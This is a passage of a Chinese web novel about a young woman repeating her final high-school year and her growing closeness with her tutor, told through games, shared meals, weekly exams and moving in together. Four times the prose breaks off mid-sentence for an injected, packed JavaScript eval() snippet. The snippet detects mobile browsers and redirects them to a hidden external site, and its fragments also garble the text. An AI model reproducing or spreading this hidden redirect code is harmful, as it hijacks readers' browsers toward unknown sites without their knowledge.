当江文初停好车打开家门时，发现屋子里安静得有些过分。 白柚已经不在家里了，客厅茶几的小垫子上江小白正懒洋洋地趴着，猫砂已经被清理得干干净净，猫粮和水碗也都满满当当。 江文初掏出手机给白柚发了条微信。 【C.：小柚，你在哪里？】 另外一边，白柚正在自己租的房子的卧室里心不在焉地处理工作。 任务栏的小绿软件闪烁，白柚点开，看到江文初的消息，知道她是回来了，嘴角不自觉地勾起了笑容，本来还闷闷不乐的心情一下就舒畅了。 【Y.：刚出门，准备去外面吃饭呢】 【江老师：我也还没吃，我来找你？】 看到这个消息，白柚连忙从凳子上站起身来，合上电脑、拔了充电器塞进包里，才给江文初发了一个她小区旁边的一个小菜馆的定位。 约好地点后，白柚背上书包匆匆忙忙出了，她心里有些紧张，怕下楼时迎面撞上江文初。 出来吃饭是假，其实她吃过早饭洗了衣服后就出门了。她本来打算在这边待到中午吃完饭就去教室的，没想到江文初这会儿提前回来了，倒是显得她有些小气。 好在白柚对于“偶遇”上江文初的担心是多余的，她到了饭馆后又过了大概五六分钟，江文初才走了进来。 白柚朝她招了招手，江文初则点头示意朝白柚这边走过来，目光落在她背着的书包上时，微微挑眉：“小柚吃完饭就准备去学校吗？” “江老师说你晚上才回来，我一个人在家里待着也没什么事，本来想着早点去学校准备一下今晚的周考来着。”白柚脸上的笑容有些尴尬但不失礼貌，“不过出门后我想了下，周考临时抱佛脚就算考好了也没什么意义，不如在家好好吃个晚饭，就还是不准备去了。” “是我不好，差点违背了和你的约定，”江文初松开搭在椅子背上的手，将椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785785|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往外抽了些坐下，“这样吧，这顿饭我请你，当做给你赔礼道歉，就不算在你姐姐的账上了，好不好？” 不知道是不是白柚的错觉，她总觉得江文初在说后面这句话时带着一丝宠溺，像是在哄小孩，或者……在哄对象。她有些不好意思地低下头，努力压住要上扬的嘴角：“好啊，那就谢谢江老师了。” 两人边吃边聊，气氛轻松而愉快。白柚每次抬头时，都会对上江文初认真注视着她的目光，心里的那点小情绪也早已烟消云散。 饭后，两人回到江文初家中。 白柚回到房间把电脑从书包里掏出来，将书包往床上一甩，拿上手柄就回了客厅。两人一起研究了一下，很快就将设备全都弄好了。 不得不说，这用投影玩儿这种游戏的视觉体验感真的非常不错。 选好角色后游戏开始。 两人虽然都是第一次玩，但都意外地上手很快，很快就一路三星过了一个单元。到了第二个单元，要想每一关都一次三星过就变得有些困难。 这不，白柚切菜的时候太过手忙脚乱，忘记把煮的通心粉装起来，一边不小心把厨房点着了，火势迅速蔓延到锅里。 江文初赶紧操控角色拿起灭火器扑灭火焰，忍俊不禁：“小柚，你这是开饭店还是烧厨房啊？” 她笑着白柚，却发现有个火烧到了角落，她不管怎么换挪动，灭火器的方向都好像扑不灭那里的火。没过多一会儿，火又烧到了别的地方。最后两人一个忙着灭火，一个忙着准备食物，结果火也没灭、菜也没做好，客人发怒的一大堆，扣了很多营业额。 这么一折腾，即便两人前期顺风顺水的，最后也拿了一星。 强迫症如白柚，不到三星誓不罢休，决定再开一把。 游戏加载时，白柚信誓旦旦：“江老师，下一局我一定好好表现！” 下一把白柚确实表现得很好，可江文初这边手滑把做好的食物扔到了垃圾桶里，惹得一个订单客人发怒，还赔了几十块。 一局结束，两人擦边拿了三星，刚从紧张气氛中缓下来的白柚忍不住笑着调侃：“江老师，幸好没有把空盘子端上去，不然要被客人投诉了。” 游戏过程中，江小白也时不时地加入“捣乱”，它忽然跳到白柚的腿上，用爪子拨了拨她的手柄，差点让她的角色掉进河里。白柚无奈地笑着把它搂进了怀里，一局结束之后才挠了挠它的下巴。 本来两人谋划布局加激烈操作后过了一个失败了好几次的关卡心情就非常愉悦，江文初看着白柚逗猫的模样，笑意更深，也伸手摸了摸江小白的头：“小白，你可别像你的小柚姐姐把东西扔得到处都是啊。” 江小白似乎听懂了似的，“喵”了一声，又跳到江文初的腿上，舒服地趴了下来。两人见状不由得笑出了声，连游戏中的紧张节奏都放松了许多。 后来，两人手感愈发好，配合得也越发默契，成功闯过了一关又一关，三星通过了许多“高难度”的关卡，一直玩儿到下午四点左右才算是尽兴。 江文初去准备晚饭，而白柚收拾好东西后又拿出复习资料看了会儿。吃完饭，白柚匆匆告别江文初，背起书包赶去学校。 坐在考场上等待发卷子的那一刻，白柚嘴角忍不住微微上扬。 她的脑海中还回想起两人一起玩《胡闹厨房》的场景：江文初认真跟她分析时的专注神情，两人手指无意相碰的瞬间，还有江小白跳上腿撒娇的画面。 考试开始三分钟后，回过神来的白柚却突然发现，自己的桌子上空空如也。她愣了一下，抬头见讲台上并没有老师，只好自己上台去看看有没有多余的卷子。 8. 夜宵 白柚低头看了一眼试卷，手中的笔刷刷地运转起来。 和其他科目考试不一样，白柚因为大学学的是计算机，所以大学几年也没少跟数学打交道。 凭借着高考140的数学和高数考试两个95分的印象，虽然她最近还是按着自己的进度从一轮复习开始，但这个数学卷子做得相对来说还是要轻松一些。 她的目光迅速掠过题干，偶尔在草稿纸上写下几个简单的计算步骤，然后在试卷上上干净利落地写下答案选项。 随着时间的推移，她的心情越来越轻松，虽然中间也不乏有一些类似解析几何这种忘得一干二净的东西让她被迫跳过，但也不妨碍她卡着时间做出了压轴导数题时愉悦的心情。 铃声响起的瞬间，白柚踩刚好放下了笔，舒展了一下因为长时间握笔而微酸的手指。她抬头望向窗外，天空已经由开考时的一片明亮转入了夜色。 今天晚上就来考个试，所以将笔盖好放进书包后，白柚就踩着轻快的步子，走出了教室。 下午玩得实在是太尽兴了，早上江文初又不在家，家里没什么菜，晚饭两人只就着冰箱里的番茄和鸡蛋做了个番茄炒蛋将就了一下。 江文初在她出门前还跟她说：“晚上给你做好吃的，好好犒劳你一下。” 想到这里，白柚不由自主加快了脚步。 白柚到家的时候，屋子里弥漫着一股诱人的卤香味。她还没来得及脱下鞋子，江文初就已经从厨房探出头来，冲她笑了笑：“考试怎么样？” 说时迟那时快，江小白不知道从哪里也窜到了白柚面前，“当场抓获”了白柚的一只脚。 “还可以，就是有些东西四年不用全忘了。”白柚笑着答道，将江小白从地上抱起来，脚上脱着鞋和袜子，眼睛已经忍不住往厨房里瞄，“江老师，闻起来好香啊，做了什么好吃的？” “你不是最喜欢吃虾和鸭货吗？”说着，江文初将两个盘子端到了客厅的茶几上。 白柚和江小白跟在后面，看到一个盘子里面是水煮大虾，另一个盘子是卤的两个鸭锁骨和两个鸭脚掌，还有一个鸭头。 虽然还是相对比较健康的食物，但晚上吃多了不好，江文初也没有准备太多。 白柚刚想问江文初是怎么知道她喜欢吃这些的，但转念一想应该也只能是白允告诉她的，遂也没有多此一问。 将江小白放回了摇篮里，白柚洗了个手在老位置坐下来，眉眼弯弯地朝江文初笑了笑：“江老师真好，谢谢江老师。” 等江文初也坐下来，白柚率先拿起一只鸭掌，熟练地戴上手套开啃，一副毫不客气的样子。 然而她的“啃术”显得有些粗糙，啃得鸭骨崎岖不平，吐出来的骨节上有的坑坑洼洼地残留着一些肉或皮，有的又被咬得稀碎，显得有点狼狈。 相比之下，江文初简直像是“人形脱骨机”，每一块鸭掌骨头都被啃得干干净净，最后被整整齐齐地堆在盘子里。 “江老师，你这技术是怎么练出来的？”白柚一边啃一边笑着调侃，“看这精湛的技术，来做家教老师简直就是屈才了。” 江文初被她逗笑，摇了摇头，就着她的话答道：“屈才倒不至于，现在这样的日子很舒服，还有工资拿，还有什么不满意的呢？” 白柚明白萝卜白菜各有所爱，别人有别人的选择。 倒是说话间，江文初已经换了双手套，拿起了一只大虾，开始剥壳。因为这虾在下锅前已经挑了虾线，捞起来后又过了一下冰水，所以剥起来不费什么劲。 很快，江文初就剥好了好几只虾，将盘子往白柚那边推了推。 “江老师，不用这么麻烦的，我可以自己来。”白柚戴着手套啃鸭货，手上全是油污，根本顾不上剥虾的活儿。 刚才没想到江文初是在给自己剥虾，现在反应过来，她更有些不好意思。 “没事的，我已经吃好了，”江文初左右看了一下，站起来把垃圾桶从侧边踢到了自己坐垫前面，将虾壳和两人啃剩的骨头清理一下，换了个手套，“你专心吃鸭货就行，这个我来，这样吃起来方便些。” 白柚一手拿着残存的鸭锁骨，另一只手没戴手套，也只好道了谢后任由江文初去了。 没想到这时，江文初忽然将一只剥好的虾凑到她嘴边，轻声道：“张嘴。” 白柚微微一愣，虽然有些不习惯这个动作，但随即还是很配合地张开了嘴。只是与江文初不经意对视一眼，她的脸就有一点微微的发烫。 虾肉鲜美紧致，入口Q弹，但相比于这味道，白柚心里那股莫名的悸动却更让她回味无穷。 而这时，江文初又温柔地伸手，用食指指背擦了擦她嘴角不小心沾上的卤汁。 白柚脸颊变得更红了些。 她低头不敢再看江文初，只好装作认真啃鸭锁骨的样子，又后知后觉道了声谢。 江文初看着她的模样，眼中带着几分笑意。她继续剥虾：“以前每天都忙得昏天黑地的，没什么好好感受生活的机会。现在这样真的挺幸福的，能有时间停下来，做一些自己想做的事。我觉得这样的生活节奏很舒服，也很有意义。” 话音刚落，江小白不知什么时候也悄咪咪从摇篮上跳了下来，摇摇晃晃地走到她们旁边，用头轻轻蹭了蹭江文初的腿。 “你说是不是啊，小白？”江文初笑着低下头看向它，却因为手上不太方便拒绝了江小白的求摸摸。 白柚侧过头看着旁边的一人一猫，露出一抹真诚的笑容，半真半假地说：“嗯，小白遇到江老师也觉得很幸福。” 江小白似乎也被她们的气氛感染，转而跳到了白柚的腿上，蹭了蹭她的手臂。 白柚无奈地脱下手套，将江小白抱进怀里，低头挠它的下巴：“你说是不是啊，小白？” 江小白懒洋洋地眯起眼睛，呼噜声渐渐大了起来，在享受间隙还轻轻地“喵”了一声。 看到白柚的手已经因抱猫而沾上了一些毛，江文初再次将一只剥好的大虾凑到白柚嘴边：“看来你的手现在更不方便了，张嘴。” 白柚乖乖张开嘴巴，将虾肉含在嘴里。 两人就这样，一边吃着，一边有一搭没一搭地聊着天。 白柚的目光偶尔瞥向江文初，听着她娓娓道来关于过去的一些经历，比如她大学时期喜欢在图书馆里度过繁忙的时光，曾经难得忙里偷闲旅行中遇到的趣事，还有最后选择辞职回国后心情的变化。 江文初的声音总是轻缓中透着温暖。 只是，在这些闲聊中，尽管江文初也只是简单聊了聊自己的生活轨迹，但她也并没有主动问起过白柚的经历。 这让白柚内心微微有些失落。 两人把一切都收拾干净后，江文初看着已经有些昏昏欲睡的白柚：“小柚今天晚上要不就不回去了，已经很晚了，再回去的话也太折腾。” 白柚想了想，摇了摇头：“我平板充电器忘记带过来了。” 江文初眼中掠过一丝遗憾，但很快就被一抹笑意代替：“既然这样，小柚不如考虑搬过来吧？经常这样来回跑，虽然不算远，但是来来回回的也挺麻烦，耽误休息。” 白柚微微张嘴，一时不知该如何回应。 搬过来意味着她与江文初的生活将逐渐密不可分，她现在不排斥甚至略有些期待，但是一旦搬过来，就不是能随意撤回的了。 江文初看到她的迟疑：“当然，这只是个建议，小柚要是觉得不方便也不用不好意思拒绝我。” 白柚沉默了片刻，想了想，搬过来确实方便很多，也可以给她节约一笔钱。 再者，就算现在不搬，假如以后江文初还是时不时就邀请她，她觉得自己迟早会扛不住要搬过来。如今那边租房里面的东西还不多，趁着现在搬还要方便一些。 于是她点了点头：“好，那明天中午我就过去先搬点东西过来。” - 第二天早上跑操的大课间，数学卷子就改完了。白柚因为身体原因不用出席跑操，就被数学林老师林涛叫去了办公室。 这是白柚回来之后第一次考数学，对于这么一套和高考结构类似的综合卷，她考了118分，丢分的地方都是偏重解析几何和大学中未涉及的题目，让林涛老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785786|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉简直捡了个宝。 交代了白柚让她非必要尽量不用大学才学的一些定律，又给她加了把劲后，林涛就把她放回去了。 上午剩下的三节课，白柚照旧没有复盘卷子，而是将卷子往桌子抽屉里一塞，就掏出了《五三》和《高考必刷题》。 中午趁着午休的时候，白柚借了江文初的行李箱，将自己的日常生活的必需品打包，包括衣服、各种电子设备之类的，搬去了江文初的家。 她还有一些零散物品暂时没有带走，但江文初家里基本都有，剩下诸如之前收好的周边之类的，白柚准备改天有机会再过来拿。 刚好她的旧住处交的房租是押一付三，这次是她自己的原因搬走，所以白柚暂时打算等三个月租期到了在退房。 她还打趣地对江文初说：“万一哪天我们俩吵架，我可还有地方可以住，不至于睡大街上。” 说者可能无心，但听在正在帮白柚挂衣物的江文初耳朵里，她的手忽然抖了一下，本就丝滑的休闲裤顺着歪斜的衣架滑落了下来。 好在旁边的白柚眼疾手快，一把把裤子捞到了自己手上。 江文初从她手里接过裤子，将它折起来搭在衣架上：“家里还是应该准备一点防滑的衣架子。” 等到一切归置妥当后，白柚才赶回了学校去上课，踩着铃声进了教室。 晚上白柚回到家时，江文初正接了两杯温水走到厨房门口，就顺道递了一杯给白柚。 这大热天的，虽说喝温水不如凉水来得舒服，但考虑到胃的感受，白柚还是老老实实接过来小口喝了几口。 今天是周一，白柚将书包放到卧室给手机平板充上电后，撸了撸江小白，就跟着江文初去了书房。 上周两次补习江文初除了带着白柚练了衡水体和答疑之外，还给她讲了一些比较能吸引眼球的开篇和结尾句子，替换掉了她万年不变的“I''mwritingforyouto...”以及“I''mlookingforwardtoyouearlyreply.''”，还讲了一些连接词的运用。 所以今晚江文初又给她补充了一些回应题目任务的分析和段落结构组成，想到什么稍微拓展一下，作文部分短期时间也就差不多了，剩下的提分空间也不大。 临近末尾，江文初说要突击检查一下白柚衡水体的练习成果，于是让白柚抄写了一段话。 短短几天时间，白柚的字就已经从扭曲到了整齐划一，虽然算不上传统意义上的好看，但映在机读卡上，已经是可想而知的美观。 等到白柚停笔，江文初随之就点了点头，忍不住夸奖道：“进步很大，笔画流畅了不少，再精进一下小写‘y’的写法，下次应该能拿一个不错的分数。” 白柚伸手指了指自己写得歪歪扭扭的那个字母，正想说自己练的时候写得比这个好，刚才就是手滑了一下，但见一旁的江文初拿起了笔，又把到了嘴边的话给咽了回去。 江文初侧身将笔递到白柚手心，握住她的手：“我再教你一下，手腕放松一点，这样——” 她靠得很近，一如上次，发丝自然垂下，偶尔扫过白柚的脸颊。 虽然心里有所准备，但白柚感受到江文初发丝轻柔地触碰自己的皮肤，还隐隐能闻到她身上那种清淡的西柚香味，还是被硬控了一下。 江文初则低头专注地示范着笔画的运用。 等到教完后，白柚许是还没从温柔乡中回过神来，所以写得还是不那么让人满意。她偏过头看向江文初：“好像还是有点不对劲？” 江文初忍不住笑了：“还没学会？” 不过没等白柚回答，她又握着白柚的手教了一遍，语气还是一如既往地温柔。 白柚装作认真听的样子，但心里却觉得自己刚刚故意的差错有点幼稚又好笑。 这一回轮到自己写时，白柚拿出自己最好的专注力，一口气写了三个带“y”的单词，都非常养眼，这才满意地松了口气。 一抬头，白柚就看到江文初挑了挑眉，朝她笑：“会了？” “嗯，会了，谢谢江老师。” 9. 方然 第二天上午的周考是语文考试。 下午，白柚从家里吃完晚饭回教室时，班上除了在帮小李老师改卷子和统计分数的两个人，其他同学都在教室里分蛋糕、互相打闹。 因为这天是教师节，又恰好是班主任的农历生日。 白柚走到门口，也不知道该不该现在就进去。 正在她犹豫时，有一位女生从背后拍了拍她的肩膀：“同学，小李老师叫你去办公室一趟。” 由于语文学科的特殊性，加上经过了大学四年心态的不同，白柚对这次考试还蛮有信心的。她相信自己在阅读理解和作文方面相对以往还更有优势一些。 果不其然，白柚到办公室看到自己的卷子，上面赫然写着116分。细看之下，其中默写全错，作文还因为字太丑被扣了3分书面分。 和数学林老师一样，小李老师先是对白柚表示了肯定，又给了她一些中肯的建议。当然临出办公室时，小李老师还不停嘱咐她有时间把字练练，作文提升的可不止是3分。 听到这里，想起江文初上次那字条上好看的字，白柚盘算着回去也让江文初教教她汉字怎么练。 晚上八点放学，白柚照常收拾好东西走出教室，低头拉着书包的拉链。 走廊上的灯投下微弱的光，映在她脚下的瓷砖地上，身后忽而传来一阵轻快的脚步声。 “白柚姐姐？”一个清亮的女声在背后响起。 白柚回头，看到是晚自习前叫她去办公室的那个女生正快步朝她走来。 那女生脸上带着浅浅的笑意，五官轮廓柔和却不失立体，眉眼透着一丝朦胧的纯净，鼻梁小巧而秀气，唇形带着恰到好处的弧度，自然中带着一丝青涩。 从小都是周围同龄人中偏小的，忽然被叫姐姐，白柚还有一些不习惯。但她很快礼貌地微笑回应：“同学你好，请问找我有什么事吗？” “白柚姐姐你好，我叫方然。”方然没有立马回答，而是走到白柚身侧拉了拉她的手，示意她往前走。 “不好意思，我回个消息。”白柚有些不自在地将手从方然手中抽出来，从书包侧兜里掏出手机给江文初发了条微信。 【Y.：可能晚一点回来】 而后两人一起下了两层楼，等人少了一些，方然才又开了口：“其实……我就是想问问白柚姐姐，你是不是策划过广播剧？” 白柚有些意外，下意识挑了一下眉：“你怎么知道？” 听到这个反问，方然有些兴奋，笑得更灿烂了，跟白柚解释道：“我听广播剧听了很多年了，对声音比较敏感。之前没怎么听过姐姐说话，今天晚上姐姐在办公室跟老师多说了几句，我听着就觉得有点耳熟。后来一想，好像在某个完结访谈里听到过姐姐的声音，所以就想试着问问。” 白柚失笑，也不隐瞒：“耳朵挺厉害的嘛，这都能听出来。” 广播剧说不上是一个大众的圈子，能在线下遇到这么一个同好，白柚已经比较意外了。没想到，方然竟然单凭几句话就能把她的马甲认出来，这恐怕是个重度爱好者。 白柚虽然从高中毕业才开始参与广播剧的制作，但是她自打上高中开始就入坑了广播剧圈子，曾经有一段时间也算得上是听剧比较积极的那一批听众。 方然点点头：“姐姐做的那些剧我听过好几个，台词都很流畅，剧情改变也很好，感觉代入感很强。” 听到自己的心血被认可、被夸奖，白柚语气也柔和了些：“谢谢。主要是我自己也喜欢，而且能碰到几个很有爱的团队，也算运气好。” 两人一路聊着广播剧的内容，虽然有意识走得慢了一些，但还是不知不觉就到了校门口。 方然看起来有些意犹未尽的。 白柚看了眼手机：“快上课了，我等会儿也还有点事，以后有空再聊。” “好的，”方然挥手和白柚道别，“那姐姐回去路上慢点，有机会再聊！” “嗯，拜拜。”白柚也朝她挥了挥手，目送她走了几步。 没想到转身一抬头，她就看到不远处的江文初静静站在灯光下，手里拎着一个塑料袋，目光悠然地落在她身上。 白柚一时有些心虚，但还是跟保安叔叔打了声招呼后快步跑了过去。 “江老师怎么到这里来了？”白柚低声问。 之前除了带着江小白来找她那次，江文初还没有来接她放学的时候，所以今天也让她有些意外。 “散步买点东西，顺便来接你。”江文初的语气虽然一如既往地温和，但似乎有点淡淡的不快。 虽然觉得江文初是在吃醋好像有一些自恋的嫌疑，但鬼使神差地，白柚还是试图假装自然地解释：“刚才那个同学刚认出我互联网上的工作马甲了，就随便聊了几句。” 江文初看了她一眼，眼中带着一丝淡淡的情绪：“嗯，看得出来聊得挺愉快的。” 不得不说，江文初的这一句话让白柚在心里狠狠地爽了一下。 她试图阻止自己差点要不受控制上扬的嘴角，低头看了看江文初的手：“江老师买了什么呀？” “都是一些零食，想给咱们家零食柜添点东西。”江文初将塑料袋打开给白柚看了看。 “咱家”两个字，听着就更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785787|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是让白柚舒服。 白柚注意到江文初的手已经被塑料袋压出了两条红印，连忙两只手将袋子接了过来：“辛苦江老师了。” 江文初松开手后，趁着白柚还没将塑料袋口合上，从里面掏出了一袋山楂棒棒糖，拆开大小包装，递到嘴边咬了一口。 尝了口味道，江文初将剩余的山楂含到嘴里，又从大包装里拿出一根，打开递到白柚嘴边：“尝尝？” 山楂糖本来就小，又不像一般棒棒糖那么硬，白柚就着江文初的手，一口就将上面的东西咬到了嘴里。 嗯……没有加糖，很纯正的山楂酸味。 两人就这样并肩走在夜色中。 晚风吹过，白柚觉得似乎连空气都弥漫着一丝悸动。 不过两人还没走多远，江文初的电话就响了起来。 她看了一眼来电人，接了电话。 “喂，叔叔。”她的语气淡淡的，听不出丝毫亲近的感觉。 接下来，江文初就是几乎长达一分多钟的沉默。 电话那头隐隐传来一个中年男人讲话的声音，但白柚没有具体听到他在讲什么。 当然也不是白柚真的听不到。江文初没有主动避开她，但是主动回避也是该有的礼节。所以见到江文初接起电话，白柚就掏出了手机刷起了微博。 不过她刷微博也只是随便浏览了一下热搜上的内容，没有太用心，分了大半的经历注意路况。 没想到江文初再度开口时，语气急转直下，甚至说得上有些冷硬：“他想都别想。” 听到这话，白柚目光从手机屏幕落到了江文初的眉眼上。 她眉头紧锁，整张脸都透出一股不悦之意。 “这件事还是得越快越好，那边先给点好处拖延一下，辛苦叔叔了。” 那边男人又说了些什么，就听江文初的语气稍微缓和了一些：“嗯，拜拜。” 江文初挂掉电话时，两人已经走到了小区门口。 白柚这一路上默默走在一旁，听到她说着一些有关家庭事务的只言片语，隐约感觉江文初今天的情绪不太对劲是和家里的事情有关系。 这么一想，白柚才觉得自己刚才以为她是在吃醋有些可笑，只觉得自作多情，脚趾快要在地上抠出了一栋别墅。 不过庆幸的是，除了白柚自己，应该也不会再有第二个人知道她脑补的这场大戏。 “不好意思，家里有点事，让小柚见笑了。”切换到与白柚讲话，江文初的语气犹如冰山顿化。 “没关系。”白柚此时还沉浸在尴尬之中，说完这句，两人又开始了沉默。 10. 计划 好在一回家江小白在门口迎接她们，两人一起陪着它玩儿了一小会儿，才让氛围缓和了一大截。 今天晚上没有补习的安排，白柚很想再缓和一下这种微妙的气氛，想起今天语文分数的事，她抱着江小白走到了厨房门口。 江文初刚好接了两杯温水出来，就听白柚问她：“江老师，能麻烦你再教我练一下字吗？中文的。今天语文考试被扣了3分的书面分。” “好啊。”江文初递了一杯温水给白柚，示意白柚跟她去书房。 白柚于是将江小白放下来，洗了个手，才跟了过去。她过去时，江文初已经在书桌的纸上写下了什么东西，正准备起身。 “你先照着我写的把这几个字练好，后面的我改天再教你。”说着，江文初起身走到了旁边，把侧边的椅子拖了过去，打开了她的电脑，“我有点事情要处理，就不和你一起练了，就在这边陪你。” “好。”白柚心里稍微有点失落，但也看出今天江文初确实没什么兴致，应了声就在她刚才写字的位置上坐了下来。 纸上的字并不多，只有间断的字迹工整而清秀的十二个：你和她在这里话多想团问品 白柚看着那些字，心中稍微有些波动，想知道江文初让她先练这些字的原因，但也没有多问。 两人就这么一左一右地各自忙着自己的事情，期间没有讲任何交流。 虽然气氛有些太过沉默，但也因为这种专注，白柚这边进展的相对顺利，很快就找到了感觉，学得有模有样的。 练了差不多一个小时，白柚看江文初还在键盘上不停地敲打着什么，她就又拿了自己的资料继续学了会儿。 十点，白柚这边学得差不多了，江文初那边还在忙着。 她偷偷看向江文初的背影，心中不禁有些担心，隐隐觉得江文初遇上的不是什么小事。 更让人难过的是，她不知道江文初到底遇到了什么事情，也别谈帮上什么忙了。 白柚叹了口气，轻手轻脚地出了书房，把今晚江文初买来的零食一一摆放到柜子上。柜子里本来就摆了不少饮品和一些零食，这次只是补充了一些，但在摆放时，她感受到一种奇怪的凄凉感。 收拾完，她抱着江小白有些无助地蹲在柜子旁，手上轻轻抚摸着它柔软的毛发。 而后，白柚洗了澡，换上睡衣，江文初还没从书房里出来。她缩在沙发上，目光始终看向书房门口。 夜晚的空气透着一丝凉意。 快到十一点半，江文初才终于从里面走了出来。她眼底满是疲惫，看到白柚，眼中闪过一丝惊讶：“小柚？怎么还没睡？” 白柚在沙发上窝得差点都快睡着了，听见江文初的声音，连忙站起来，都忘了自己的怀里还抱着个江小白。 江小白睡得正香，忽然被“扔”到了地上，委屈巴巴地“喵”了一声，就飞奔回了自己的小猫窝。 本还想安抚一下它，但它溜得太快，白柚干脆当没看见，抬头看向了江文初：“江老师，你还好吗？看你今天挺忙的，要不明天就好好休息一下，我们在外面随便吃一天也行。” 等白柚说完，江文初已经站在了她的面前。 江文初朝她挤出一个笑。 虽然她的笑容看起来还是有些疲惫和勉强，但好歹让白柚安心了一些。 “没什么大事，只是今天有点累。” 说完，江文初的双手抬了起来。 白柚顺着她的手低下头，这才发现自己睡衣的第二颗扣子不知道在什么时候已经开了，领子有点低。 江文初边给她扣上扣子，边回答她刚才的提议：“明天的事明天再说，小柚不用担心。” 她的声音依旧温柔，但在这时候却加重了她的有气无力感。 白柚也不再多问，点了点头：“谢谢江老师，那江老师早点休息。” “嗯，”系好扣子，江文初给她整理了一下睡衣，又抬手顺手揉了揉白柚的头发，“好，你也早点休息。” 接下来的几天，两人之间的相处状态和往常几乎没什么的区别。江文初的心情也肉见可见地好了起来，至少表面上再看不出什么端倪。 但白柚总觉得，和之前相比，江文初好像还是有一些说不上来的不对劲。 比如有些时候白柚回家吃饭时，会看到她一个人在沙发上发呆。 到了星期四晚上，考完理综周考后的白柚照常和江文初一起吃过晚饭回了教室上晚自习，脑子里却一直在琢磨着周末要不要安排一点什么活动来给江文初散散心。 她正想着这个问题，就听讲台上的物理老师点了她的名：“这道题还有另外一种非常巧妙的解法，下面我们请白柚同学来为大家详细讲解一下。” 由于物理也已经开始一轮复习一段时间，这周周考的题全部换成了新复习的内容。 选择题的压轴题是一道典型的子弹打木块模型，但是相对复杂很多。刚才老师按照常规思路讲了快大半节课，而白柚考试时用图解法不到一分钟就做出来了。 估计也是考试的时候老师刚好站在她旁边看到了她的解题的全过程，所以才叫了她上去讲。 白柚在以往上高中的时候也经常会被老师叫到讲台上给同学们讲题，所以对此是轻车熟路的。 她站在讲台上用粉笔将图画了出来，接着话不多但很清晰地讲解了解题思路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785788|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 下面的同学听得很认真，尤其是方然，眼中带着几分钦佩，频频点头。 如果说上一周大家对白柚的态度大多还是不解、好奇和羡慕，那么经过这周的三次周考，大家都多了一丝敬佩。 从数学和语文考试就可以初见她的水平，而理综考试因为出题都是新复习部分的题，白柚自学的进度还要比班上的速度快上一些。 虽然她暂时还不太习惯这个高强度的做题速度，有一道化学答题没做完，但也拿到了物理105，化学85，生物85，理综276的总成绩；相比上周物理66，化学30，生物72，总分直接进步了108分。 同一起跑线的情况下，排名从倒二直接就来到了第二。 因为白柚和班上的同学几乎0交流，所以在下面一群生脸中，白柚一眼就看到了方然的位置。 方然眼神清澈，有在很认真听她讲，白柚心里对她的印象也更加好了些。 不过看到她，白柚就鬼使神差地又想到了江文初。 三两下讲完下台，白柚觉得自己好像更学不下去了。她在《五三》上挑着刷了一点基础题，思绪又不自觉地飘到了周末的计划上。 正巧，她目光落在了翻页过后的一道和游乐园有关的题目上，忽然灵光一闪。 就是不知道……江文初愿不愿意去。 于是一回到家，抱起江小白，白柚就问了江文初：“江老师，你这周末还要回家里去吗？还是留在这里呀？” 江文初正倒了两杯温水出来，递了一杯给白柚“没有什么意外情况的话，不回家里去，怎么了？” “看合适的话，想去欢乐谷玩儿一天，不知道江老师有没有兴趣？”白柚将江小白放了下去，接过杯子，貌似随意地问。 “好啊。”江文初没有丝毫犹豫，很爽快就答应了。 “不过——” 这个转折让白柚心里紧张了一下，不过看着江文初的眼神落到了江小白身上，她猜想江文初可能是想说要周日一天来回，方便照顾江小白。 但与白柚想的恰恰相反，江文初提议：“我们周六晚上晚一点就开车去市里吧，这样不用周天一大早起床，而且可以避开高峰期，下午早点回来。” 这样好像也是一个不错的主意。 白柚点头答应了，但随之而来的问题就是：周六晚上去的话，住哪里？她当然不想回家住，但白允那边离欢乐谷又远。白柚不知道江文初家在哪里，但看她的样子似乎也没打算回家住的意思。 “那我们住……？” “酒店吧，”江文初略微思考了一下，“等会儿上完课，小柚你定一下门票吧，我看看酒店。” 11. 出游 